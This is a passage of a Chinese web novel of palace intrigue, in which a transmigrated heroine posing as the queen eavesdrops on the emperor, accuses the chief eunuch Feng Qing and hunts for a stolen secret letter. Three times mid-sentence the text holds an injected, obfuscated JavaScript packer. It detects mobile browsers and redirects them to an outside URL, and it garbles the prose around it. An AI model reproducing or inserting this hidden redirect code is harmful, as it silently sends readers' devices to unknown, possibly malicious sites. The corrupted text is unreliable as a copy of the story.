那两个婢女闻言面面相觑,有些为难地开口道:“娘娘...这,今夜陛下...” 岑瑶心知这两人也是按照往常的流程来的,此刻她可不想听见什么‘侍寝’之类的字样,也不想为难她们,于是便匆匆打断道:“好了好了,我知道了。” “那娘娘沐浴时要放花瓣还是...” “不放!” ... 沐浴、梳发、更衣,一番折腾之后,殿内终于只剩下她一人,岑瑶一头栽倒在床榻上,绞尽脑汁地思考起接下来该怎么办。 要不就说自己大病初愈,怕过了病气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446847|185137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给王君? 没错!这个说法再好不过!何况那家伙现在还受了伤,无论怎么想,今晚也不会发生什么的吧?先前婢女为她梳发时摘下来的发簪此刻正静静地躺在她的袖口之中,不到万不得已,岑瑶是绝对不想拿出此物的。 不知道过去了多久,外面依旧是静悄悄的,也不见王君的影子。岑瑶翻了个身,直接滚到了床榻最里头,她背对着殿门的方向,闻到了被褥间淡淡的香气。 先前坐在赵子煜身边时,她也闻到了这股味道,似有似无的,淡淡的清香。 是熏香吗?好像更像是某种花的香气。 她就这样胡乱地想着,直到眼皮都快要打架了,才听到身后传来开门的声音。 岑瑶一个激灵,登时精神起来。 在安静了片刻后,一道很轻的关门声响起,岑瑶浑身紧绷着缩在被褥里,隔了一会,她感受到被子有被人拉开的动作,那股淡香转而变得浓郁起来。 攥着被子的手逐渐收紧,岑瑶急忙闭紧双眼,但令她担心的事情并没有发生,因为很快,她就听见背后传来了男人均匀的呼吸声。 ...他睡着了? 外面的雨势这会逐渐大了起来,雨滴落在房檐上,发出的响声反倒让岑瑶睡不着了,在景仪殿内发现的那封密信此刻从脑海中闪过,恍恍惚惚间,岑瑶又记起了那典籍中记载的寥寥几笔。 其出身低贱,为先王所不喜,后交由不受宠的嫔妃抚养;长居于幽宫之中,为兄弟姊妹所耻之,左右侍从皆不以为意。 他或许也是个可怜人吧。 背后此刻传来一阵轻微的咳嗽声,岑瑶微微睁开眼,侧耳聆听了片刻,没过一会,咳嗽声就又响了起来,只不过这次还伴随着压抑的喘息。 ...他有咳疾? 岑瑶躺在床榻最里面,不时能感受到被褥伴随其剧烈喘息的起伏,没过一会,一阵响动从身后传来,片刻后,她听见殿门被拉开的声音。 周遭再度安静下来,唯有雨滴落下的敲击声不止。岑瑶静静地躺了一阵子,终究还是按捺不住,回过身望向背后,只见床榻上只余一道轻微的凹痕,赵子煜不知哪里去了,而殿门则被打开了一半。 一股好奇心驱使她从床上坐了起来,岑瑶轻手轻脚地爬下床,伴随着雨声,光脚走到殿门前,然后探出头往外看。 只见幽暗的过道里空无一人,但主殿那边却还亮堂着。 岑瑶犹豫片刻,随后蹑手蹑脚地从门内走了出来,她沿着走道一路向前,快到大殿那边时,忽听有人声响起。 “陛下,奴才按照您的吩咐去查过了,那群乐伎之中确实有一人曾是太子府上的侍妾。” 这声音...是冯清? 岑瑶猛地止住了脚步,她弯下腰缩在阴影处,听见赵子煜沙哑的声音响起。 “可有找到关于叛军的线索?” “这倒没有...漪兰殿已经被烧得什么都不剩了,奴才调查了几个曾经进出过漪兰殿的宫人,其中有人称曾瞧见一个婢子与那侍妾来往密切,只可惜奴才还没查出那名婢子的下落...” “可查出此人是哪个宫的了?” “回陛下,只是个负责在漪兰殿洒扫的婢子,不过,此人之前好像是在景仪殿当差...” 大殿内顿时沉寂下来,岑瑶紧咬下唇,不由自主地退后了两步。 良久,赵子煜的声音才再度响起:“依你之见,该如何查下去?” “奴才愚钝,但凭陛下吩咐。奴才只知,叛军残余逃窜一日,陛下便要忧心一日,若是这王宫之中存在别有用心之人...” 砰。 背后的烛台应声倒地,岑瑶一脸惊恐地扭过头,而殿内二人的对话此刻也戛然而止。 “是谁?” 7. 第六章 冯清一脸戒备地望向响声的来源,见暗处迟迟没有动静,他便再次扬声道:“何人竟胆敢躲在这明德殿中!还不速速出来!” 不妙不妙不妙—— 这边岑瑶刚刚才将倒地的烛台手忙脚乱地扶起来,而后就听见几步之外传来的轻吼,她这会恨不得化作一只路过的老鼠,直接钻到地缝里去。 被发现是迟早的事情,如果她现在大大方方地站出去,虽说会坐实偷听的行为,但至少还能为自己辩解一番。 ...况且,该胆战心惊的应该是外面那两个人吧!她岑瑶现在可是顶着王后的身份,而她“爹”乃是于陛下有恩的丞相!先前因为宫人小怀的事情,她还没来得及质问这冯清呢,如今他反倒开始在背后暗戳戳地破坏起自己和陛下的关系了! 虽说瑶姬也绝非善类,但和这个私开城门意图谋逆的反贼相比,究竟谁才更别有用心啊? 如此一番自我宽慰下来,岑瑶心中的忧虑顿时散去了不少,她安慰自己,眼下不过只是个小插曲罢了,她就先替瑶姬搞定这个小场面,等之后要是真出了事,那还是瑶姬自己回来应对吧。 褚瑶,你肯定会回来的,对吧? 于是岑瑶抬起脚,刚准备从暗处走出去,却听赵子煜低低笑了一声。 “不过是本王养的一只猫罢了,冯总管何必如此紧张?这王宫之中戒备森严,难不成还会混进什么可疑之人?” 岑瑶:...? 一边的冯清本准备唤来殿外的侍卫一探究竟,但此刻王君这番话一出,倒让他有些无所适从了,片刻后,只见他转了转眼珠,随后躬身道:“陛下,最近宫中发生了这么多事,以防万一,还是让奴才叫侍卫进来瞧瞧吧。” 案前的王君闻言露出了一副若有所思的样子,他的手指有一搭没一搭地敲击着桌面,片刻后,状似漫不经心地开口道:“冯总管这是...在质疑本王的决断?” 冯清闻言心底一惊,急忙跪倒在地。 “陛下恕罪!奴才是忧心于陛下,一时太过紧张了,这才口不择言!” 瞧见内侍叩首的样子,赵子煜偏了偏头,好似颇为讶异地开口道:“本王不过是随便一说,总管何至于如此紧张?今夜本王也乏了,就先到这吧,你先前禀告的事情,本王自有考量。” 冯清知道,此事只怕是要暂且搁置了,他暗暗瞟向偏殿的方向,虽心有不甘,但也只得垂首应道:“...是。” 冯清退下后,赵子煜面上泛起了一丝冷意,他从榻上起身往回走,路过廊道上的烛台时,他瞥了眼上面熄灭了的蜡烛。 殿门依旧保持着离开时的样子,他踏入殿内,只见女人正背对着他睡在床榻里侧,一头乌黑的长发随意散落在枕上。 他们不过只是表面夫妻罢了,大婚之日,他掀开女人的盖头时,一眼对上的就是她那满含憎恨和嫌恶的目光,这种目光他早已见过无数次了,但那一刻,他心中竟生出了一丝快意。 啊,这就是和赵子珩日夜缠绵的女人,不知那个自小高高在上的前太子殿下在听说自己娶了这个女人之后,会露出一副怎样的神情?一个一直以来都被他们视为家畜般的家伙,如今却将他们踩在脚底下,这世上难道还有比这更美妙的感受吗? 娶这个蠢女人不过是缓兵之计,为了大业,他需要褚相一脉的支持,可王宫中处处都是他们的眼线,如若不能让这群老狐狸放心,那他这些年来的谋划都将功亏一篑。 幼时他可以为了活命,去扮作赵子珩□□的一条狗,今日他也能为了坐稳这张王位,将自己伪装成独宠瑶姬一人的傀儡王君。 好在这个女人并不领他的情,即便自己如今已经称王,她也依旧用轻蔑的眼神看向他,坚决不肯与他同枕而眠。但这对他来说反而是件好事,这样,他就不必去触碰她那肮脏的躯体,也不必日日面对这张惹人厌恶的脸。 当亲卫将从王后处暗中拦截的信笺呈上来时,赵子煜非但不恼,反而兴奋地快要战栗起来。他仿佛看见了两只热锅上的蝼蚁在费力挣扎,他甚至想亲笔给拥兵自立的三哥回信,但这样的话,这种取悦他的把戏日后只怕就不会再出现了,因此,他只好装作被蒙在鼓里的样子。 不过,这对他来说并不难,因为他早就习惯了伪装。 就像今日,为了安抚褚相,他不得不提出要与这个恶心的女人同寝,即便她不同意,他也会强行留下她,不为别的,只是因为左臂上这道由自己划开的伤痕不足以打消老狐狸的疑虑。 但令他没想到的是,褚瑶竟然同意了。 往常她可绝不会如此,即便是为了压制流言蜚语,不得不与自己共处一室时,这个女人也只肯命人搭一张软席在屋内,然后颐指气使地要求他这个王君睡在席上。 赵子煜轻嗤一声。 她如今有所变化,倒也在他的意料之中,毕竟她的好情郎已经身首异处了,褚相又有着狼子野心,即便是为了获得家族的庇佑,她也只能在自己面前虚与委蛇了。 此刻窗外雷声阵阵,暴雨如注,赵子煜关上殿门,吹熄了桌上燃着的烛火,随后走到床边坐下,缓缓脱下鞋子。 他本打算就这样放着女人不管的,但现在情况稍微有些不同了。 先前他和冯清的对话,她都听到了多少?他的好瑶姬,现在嗓音也已经恢复了,如果她私自联络宫中的内奸,那可就有些难办了...虽然三哥已经掉了脑袋,让这对苦命鸳鸯的戏份中断了,但原本他还想再玩一阵子的,终究还是到头了吗? 等天亮之后,他要怎么说呢? 王后身染恶疾,猝然离世? 褚相为了大局,牺牲一个女儿不在话下,只要自己一如既往地配合他——那王后暴毙这件事也没什么大不了。 只是可惜,如此好的一枚棋子。 一片黑暗之中,他躺回了床上,女人的一头青丝紧挨着他的指尖,赵子煜下意识勾起一缕,然后将其紧紧缠绕在自己的食指关节处。 下一刻,他感到身侧的女人动了动,那缕长发从自己的指尖滑落。 “陛下,臣妾有话要说。” 赵子煜愣了一下,他看见女人从床上坐了起来。 “臣妾近来心中一直惴惴不安,夜夜难眠,今日得知陛下被刺客所伤,忧虑更甚...”说着,只见王后竟抬手掩面,隐隐有啜泣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446848|185137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之意。 见状,赵子煜虽心中狐疑,但却仍起身拉开了瑶姬的手腕。 “阿瑶,这是怎么了?” “陛下,”只见岑瑶泪眼婆娑地望向男人,“前些日子,臣妾在梦中见到了一位高僧,他对臣妾说,这王宫之中有对陛下怀有异心之人!那位高僧将此人的姓名告知了臣妾,但臣妾醒来后却始终记不起那人是谁...” “原是如此,阿瑶,梦中之事做不得真,此事你不必挂心。” “臣妾原本也是如此安慰自己的,可先前躺在这里,却始终睡不着,一想到陛下手臂上的伤,心中就觉得愧对陛下...” 前面铺垫了这么多,岑瑶也觉得是时候了,于是她话锋一转:“所以臣妾方才全神贯注地回想,终于记起了那位高僧说出的名字是谁——” ... 不久前,岑瑶光着脚跑回了偏殿内,她爬到床榻上,一把钻进了被子里,心中却久久不能平静。 赵子煜不可能不知道自己在暗中偷听,却没有揭穿自己。 为什么? 冯清已经把祸水引到她头上了,岑瑶根本没有自信应对帝王的疑心,因为就连她自己都不知道这具身体的主人究竟还做过什么。 白日里只是偶然发现了一封密信,倘若这信还有第二封、第三封怎么办?倘若瑶姬过去还下过其他的命令,那她该怎么办? 岑瑶并不想替瑶姬脱罪,但她也不想被无辜牵扯进这些混帐事中,在她回到原身的那一日到来之前,她必须要顶着这具皮囊活下去。 所以她现在务必要抓住暴君这根救命稻草,获取他的信任,否则,她的性命就要岌岌可危了。 既然冯清已经把矛头对准了她,那就别怪她揭他的底了。 于是,在赵子煜走进偏殿的那一刻,岑瑶就已经想好该如何应对了。史书中没记载过王后私通叛贼的事情,但是可记载过内侍总管串通睿王的证据,与冯清这个道貌岸然之辈相比,她可就是小巫见大巫了。 只见她表现出一副十分害怕的样子。 “陛下,那人叫做,冯清。” ... 岑瑶是被入殿的侍女叫醒的,她缓缓睁开眼睛,只见窗外艳阳高照,身侧的男人早已不见了踪影。 站在床边等待为她梳洗的婢女微微羞红了脸,笑着说道:“娘娘,陛下临上朝前特意嘱咐过我们呢,说是不要急着叫醒娘娘,让娘娘多睡一会。” 岑瑶一看就知道她们是误会了什么,但她眼下也懒得掰扯,干巴巴地笑了两声后,便匆匆起床梳妆打扮了。 等回到景仪殿时,日头都已经悬于正空了,婢女青兰瞧见她的身影后,当即一脸喜色地迎了上来。 “娘娘,您回来了。” 岑瑶一时没心思扯别的,她朝着青兰微微颔首,随后便往床榻那边去,打算翻出昨日藏在被褥下的那个信封,销毁证据。 不料她左翻右翻,怎么都摸索不到那个信封,岑瑶心叫不好,一把掀开床褥,果然看见底下空空如也。 岑瑶冷笑一声。 “青兰,把景仪殿的全部宫人都给我叫过来,我有话要问。” 8. 第七章 宫人在殿内黑压压地站了两排,岑瑶坐在主位上,手边放着青兰泡好的茶。 “去把我放在内间的镜匣拿过来。” “是。”青兰瞥了一眼娘娘的神色,随后沉着脸从这群宫人面前走过。 她是个机灵的,自然知晓密信被偷是件天大的事情,稍有不慎还会拖累褚府上下,此刻虽不知娘娘想出了什么对策,但在看到娘娘沉着冷静的面庞后,青兰心里多少也有了底。 没过一会,她就将镜匣拿了过来,岑瑶将其放到桌上,随后面向眼前这群宫人。 “昨日下午,我与青兰不在殿中,回来之后才发现,我这梳妆的镜匣中少了一支流苏簪子,你们可有谁瞧见了?” 殿内一片寂静,宫人皆垂首不语,岑瑶见此倒也不恼,她早就料到会是这样,于是不急不慢地开口道:“本宫向来是个赏罚分明的,平日里也不曾亏待过你们,若是旁的物件便就罢了,但这流苏簪子可是陛下与本宫大婚时赏赐于本宫的,意义非凡,倘若本宫将此事告知陛下,陛下会如何作为,你们应当也清楚。” 此话一出,这些宫人顿时不安起来。 是了,这王宫之中有谁不知陛下的手段?就算不提那个被削成一片片后拿来喂狗的刺客,光说先前那些惹怒陛下的宫人,有哪个不是挨了百十来大板,一命呜呼的? 岑瑶拿起茶盏悠悠喝了口茶,看见这些人面露惧色后,她的目的也就达到了,不必继续恐吓他们。 于是她话锋一转:“不过,你们都是在本宫身边服侍的,本宫一时也不想将这件事情闹到陛下那里去,如果你们有人知晓什么线索,或是看到了些什么,大可前来汇报给本宫,本宫都有赏赐。” “如若有人能替本宫找回遗失之物,那就更好了,此人的任何要求,本宫都会尽量满足。” 话毕,宫人们纷纷窃窃私语起来,岑瑶知道差不多了,于是便递给青兰一个眼神,后者当即示意这群人退下。 直到殿内只剩下她们二人,青兰才恢复了先前忧心忡忡的模样,她迟疑着问道:“娘娘,要是一直没人来禀报该怎么办?” 岑瑶不慌不忙地从袖口中掏出了先前提到的那枚流苏簪子。 “放心吧,我心里有数。” 因为即便没人主动来禀,她也大概猜出了个七八分。 昨日她将信封藏在床褥下时,殿内只有她和青兰两个人,也就是说,只有负责进入内间替她收拾床铺的宫人才能有机会发现那个信封。 昨日她和青兰是前后脚离殿的,青兰又是在傍晚回来的,只要知道下午那个时间有谁来过就行了。 “对了,昨日我叫你替我去找陈统领要弓箭,你可拿到了?” 青兰闻言点了点头,随后走到一旁的架子上,抬起双手将一个用黑布包裹着的物件从上面取了下来。 “娘娘,这就是。” 岑瑶见此心情顿时好了不少,她抬起一只手随意将长弓接过,不料下一刻就感到手腕一酸,整个弓不受控制地向下倾斜,只有用力才能勉强扶住它。 见岑瑶面露惊愕,青兰在一旁开口感叹道:“娘娘,此物着实重得很,奴婢拿回来时可是费了好大的功夫。” 岑瑶闻言愣了一下,她似乎想到了什么,口中喃喃自语道:“不会吧...” “娘娘?” 只见岑瑶将长弓放到桌子上,随后迅速拆开缠在外面的布条,然后用一只手将弓抬了起来,另一只手则勉力做出一个拉弓的动作。 “给我递来一支箭。” 瞧见自家主子这副模样,青兰一时惊疑不定,但还是将箭筒拿了过来,然后抽出一支箭放到岑瑶手里。 下一刻,却见娘娘直接将羽箭搭在弦上,找准位置,然后做出了一个拉弦的动作。 青兰当即被吓了一跳,她一时瞠目结舌,隔了好半天,才颤巍巍地开口道:“娘娘...切莫冲动,若是娘娘想要杀偷信之人,也不可直接用箭公然射人啊!” ... 岑瑶颇为无奈地望向脸色发白的青兰,随后扭过头,松开了手中扯开一半的弦,一瞬间,那支箭便飞了出去,直直扎到了几步远外的地上。 青兰一脸惊恐地冲过去拔箭,岑瑶实在没心情向她解释什么,她将长弓置于一旁,随后便坐了下来。 弓箭乃是她自幼最为擅长之物,可瑶姬的手臂别说拉弓射箭了,就连扶着弓都会感到发酸。 此事对她来说着实是意料之外,岑瑶方才意识到过去是自己过于想当然了,褚瑶过去可是娇生惯养足不出户的高门贵女,只怕就连重物都没提过。 她望着那支栽到地上的羽箭,轻叹一声,暂且安慰自己体力都是可以通过日后锻炼练就的,但自己射箭的技艺可不是随便哪个士兵都能匹敌的。岑瑶一边这样想着,一边望向被自己置于桌上的长弓。 做工精良,弦丝紧绷,是把好弓,那个禁卫统领倒是没有糊弄她。 岑瑶正准备拿出置于箭筒中的羽箭细细端详一番时,却听殿门口忽而响起了一道声音。 “娘娘,奴婢有事想要禀报。” 岑瑶扭过头望去,只见一个容貌俏丽的婢女正站在门前。 她对这张脸有点印象,先前青兰叫那群宫人进来的时候,她好像在那些人里瞧见过她。 “进来吧。”于是岑瑶开口道。 那婢女踌躇片刻,随后好似鼓起了勇气般徐徐走了进来,走到离岑瑶几步远的地方时,只见此女忽而跪地道:“娘娘,奴婢昨日曾看见一人出入内间,形迹可疑,或许就是娘娘要找的人。” “哦?你为什么觉得她可疑?” 那婢女犹豫片刻,随即叩首道:“因为奴婢瞧见了,那人在替娘娘整理床铺时,将放在被子中的物件揣到了怀里,然后就匆匆离开了。” 此话一出,殿内一时沉默下来,岑瑶的目光从一脸警惕的青兰面上扫过,随后望向跪地的婢女。 “你说看见她揣走了被子中的物件?” “正是,奴婢看到了,那簪子原本压在被褥之下,却被此人偷偷拿走了。” 岑瑶用手撑着下巴,闻言微微一笑。 “你叫什么名字?” “奴婢名叫小桃。” “小桃,你想要什么赏赐?尽管提,本宫会尽量满足你。” 那婢女半天才抬首望向岑瑶。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446849|185137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“奴婢只想要成为娘娘的贴身婢女,还请娘娘答应奴婢这个请求。” 小桃出去后,青兰皱着眉头走上前。 “娘娘...那婢子先前提到的人,应当是相爷塞进来的。” 岑瑶闻言眸光微沉,她不觉得那个小桃是在说谎,可既然是从宫外安插进来的自己人,为什么要偷偷拿走那封信呢? “给我盯紧那个偷信的人,看看她之后会去做什么。” “是。” 青兰退下后,岑瑶走到床前,缓缓躺了下去。 昨夜发生的事情还历历在目,在她说出“冯清”二字之后,气氛顿时变得有些不同了,一片黑暗之中,岑瑶看不真切男人的神情,只得凭借自己的直觉继续说下去。 “臣妾愿意为陛下鞍前马后,如若这个王宫中有人有不臣之心,臣妾定会找出此人,替陛下除去隐患。” 彼时,赵子煜没有回应她说的话,他只是抬手扶起她的一缕青丝,随后将其掖在岑瑶耳后。 隔了很久,久到岑瑶的心逐渐沉了下去时,男人才缓缓开口。 “阿瑶,我相信你,但本王是你的夫君,若是要说鞍前马后,也应当是本王对你这样才是。” 这是一句不可信的谎言,他们并不相信彼此,岑瑶深深地明白这一点,但是眼下她必须要将这场戏唱完。 就这样,他们两人虽睡在同一张床上,却做着不一样的梦,此刻岑瑶躺在景仪殿中,努力地回忆着史书上记载的内容。 冯清是何时投靠睿王的,岑瑶并不知道,但她知道,睿王很快就要入宫觐见了,因为不久之后,隐居于檀香山的太后就要薨逝了。 如果想要扳倒冯清,她就必须密切关注睿王的动向。 那在此之前,还发生过什么来着? 对了,现下已经是四月了,很快太后的寿辰就要到了,赵子煜会为此前去檀香山拜访隐居的太后和长乐公主,顺带为天下安定祈福。但是因为连日大雨,在前去檀香山的路上,王君的车辇和随从都会受到山体崩塌带来的危害。 不过,依照她的记忆,王后瑶姬应当是没有跟去的,此行虽颇为惊险,但好在赵子煜并没有受什么伤,这件事便也顺顺利利地过去了,只不过睿王会借此大做文章,说是上天降罚于王君,所以山中才屡屡发生灾祸... 罢了,此事总归和她不相干,她目前只要盯紧那个偷信之人的动向就好了,昨日赵子煜既然已经那样说了,想来冯清也会消停一阵子。 就在岑瑶躺在床上安然计划时,忽听殿外传来有人说话的声音,很快,青兰就从殿外走了进来。 “娘娘,是陛下身边的王公公来了,说是有事要向娘娘转达。” 岑瑶急忙起身,从内间走出来,很快,昨日见过的那名内侍就从殿外走了进来。 “娘娘,是陛下派奴才过来的。” 岑瑶略有些惊讶,她开口问道:“陛下有何吩咐?” “陛下说,太后的寿辰将至,陛下今年决定前去檀香山亲自陪太后过寿,顺带也能去山中的寺里祈福,陛下要我来问娘娘您想哪一日动身?” “今年,陛下想要带着娘娘一同前去。”